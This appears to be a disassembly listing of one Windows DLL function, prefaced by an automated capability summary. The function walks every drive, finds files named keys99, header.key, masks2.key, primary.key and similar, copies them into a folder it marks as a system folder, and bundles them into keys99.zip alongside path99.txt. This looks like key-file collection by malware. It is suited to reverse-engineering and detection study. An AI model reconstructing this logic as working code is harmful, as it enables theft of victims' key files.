Function at 0x1001d060
Capabilities:
Check if file exists
Copy file
Create directory
Get disk information
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x734
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x1d]
push ebx
push eax
mov byte [esp + 0x24], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40c
lea ecx, [esp + 0x338]
push ebx
push ecx
mov dword [esp + 0x33c], ebx
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
add esp, 0xc
push 1
call esi
lea edx, [esp + 0x330]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
shr eax, 2
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x1001dab6
push 1
call esi
movzx eax, ax
mov dword [esp + 0x14], eax
lea esp, [esp]
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x1001daa0
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x228]
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1001d110
lea ecx, [esp + 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001daa0
push 0x1004a0cc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d269
xor eax, eax
jmp 0x1001d150
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d150
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d171
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d181
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea edx, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edx
call edi
test eax, eax
je 0x1001d1ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d1c7
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d1d3
mov ecx, dword [str.keys99]
mov dx, word [0x1004a0dc]
mov dword [eax], ecx
mov cl, byte [0x1004a0de]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001d228
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d221
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d230
mov ecx, dword [str.header.key]
mov edx, dword [0x1004a0e4]
mov dword [eax], ecx
mov ecx, dword [0x1004a0e8]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a0cc
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a0ec
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d399
xor eax, eax
nop
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d280
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d2a1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d2b1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001d2fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d2f7
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d303
mov edx, dword [str.keys99]
mov cx, word [0x1004a0dc]
mov dword [eax], edx
mov dl, byte [0x1004a0de]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001d358
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d351
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d360
mov edx, dword [str.masks2.key]
mov ecx, dword [0x1004a0fc]
mov dword [eax], edx
mov edx, dword [0x1004a100]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
push 0
lea eax, [esp + 0x1c]
push eax
push 0x1004a0ec
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a104
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d4d4
xor eax, eax
nop
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d3b0
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d3d1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d3e1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x1001d42e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d427
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d433
mov ecx, dword [str.keys99]
mov dx, word [0x1004a0dc]
mov dword [eax], ecx
mov cl, byte [0x1004a0de]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001d488
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d481
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d490
mov ecx, dword [str.masks.key]
mov edx, dword [0x1004a114]
mov dword [eax], ecx
mov cx, word [0x1004a118]
mov dword [eax + 4], edx
mov dl, byte [0x1004a11a]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
push 0
lea eax, [esp + 0x1c]
push eax
push 0x1004a104
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push str.name.key
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d60b
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d4f0
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d511
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d521
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x1001d56e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d567
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d573
mov ecx, dword [str.keys99]
mov dx, word [0x1004a0dc]
mov dword [eax], ecx
mov cl, byte [0x1004a0de]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x1c]
push edx
mov byte [eax + 6], cl
call edi
test eax, eax
je 0x1001d5c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d5c1
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d5d0
mov ecx, dword [str._name.key]
mov edx, dword [0x1004a120]
mov dword [eax], ecx
mov cx, word [0x1004a124]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x1c]
push edx
push str.name.key
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a128
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d744
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d621
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d642
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d652
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001d69f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d698
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d6a4
mov edx, dword [str.keys99]
mov cx, word [0x1004a0dc]
mov dword [eax], edx
mov dl, byte [0x1004a0de]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001d6f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d6f2
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d700
mov edx, dword [str.primary2.key]
mov ecx, dword [0x1004a13c]
mov dword [eax], edx
mov edx, dword [0x1004a140]
mov dword [eax + 4], ecx
mov cx, word [0x1004a144]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a128
mov word [eax + 0xc], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
push 0x1004a148
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d884
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d760
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d781
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d791
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0
lea eax, [esp + 0x1c]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call edi
test eax, eax
je 0x1001d7de
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d7d7
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d7e3
mov edx, dword [str.keys99]
mov cx, word [0x1004a0dc]
mov dword [eax], edx
mov dl, byte [0x1004a0de]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x1c]
push eax
call edi
test eax, eax
je 0x1001d838
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d831
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d840
mov edx, dword [str.primary.key]
mov ecx, dword [0x1004a158]
mov dword [eax], edx
mov edx, dword [0x1004a15c]
mov dword [eax + 4], ecx
mov cl, byte [0x1004a160]
mov dword [eax + 8], edx
push 0
lea edx, [esp + 0x1c]
push edx
push 0x1004a148
mov byte [eax + 0xc], cl
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, 1
jmp 0x1001d88c
test ebx, ebx
je 0x1001daa0
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d890
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d8b1
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d8c1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x1c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001d90c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001d905
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [esp + 0x18]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d911
mov edx, dword [str.keys99.zip]
mov ecx, dword [0x1004a168]
mov dword [eax], edx
mov dx, word [0x1004a16c]
mov dword [eax + 4], ecx
mov cl, byte [0x1004a16e]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x120], cl
inc eax
test cl, cl
jne 0x1001d940
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001d964
lea edi, [esp + 0x120]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001d977
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x120]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001d995
mov edx, dword [str.keys99]
mov cx, word [0x1004a0dc]
mov dword [eax], edx
mov dl, byte [0x1004a0de]
mov word [eax + 4], cx
mov byte [eax + 6], dl
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.10029680
test eax, eax
je 0x1001daa0
lea edx, [esp + 0x120]
push edx
call fcn.10007400
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x1001d9e2
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001da03
lea edi, [esp + 0x18]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001da13
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001da30
mov ecx, dword [str.path99.txt]
mov edx, dword [0x1004a174]
mov dword [eax], ecx
mov cx, word [0x1004a178]
mov dword [eax + 4], edx
mov dl, byte [0x1004a17a]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov eax, dword [esp + 0x10]
lea eax, [esp + eax*4 + 0x32c]
lea edx, [esp + 0x120]
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x1001da71
lea eax, [esp + 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001da85
sub eax, edx
push eax
lea eax, [esp + 0x124]
push eax
lea eax, [esp + 0x20]
call fcn.10007140
dec dword [esp + 0x10]
jne 0x1001d0e0
movzx ecx, word [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret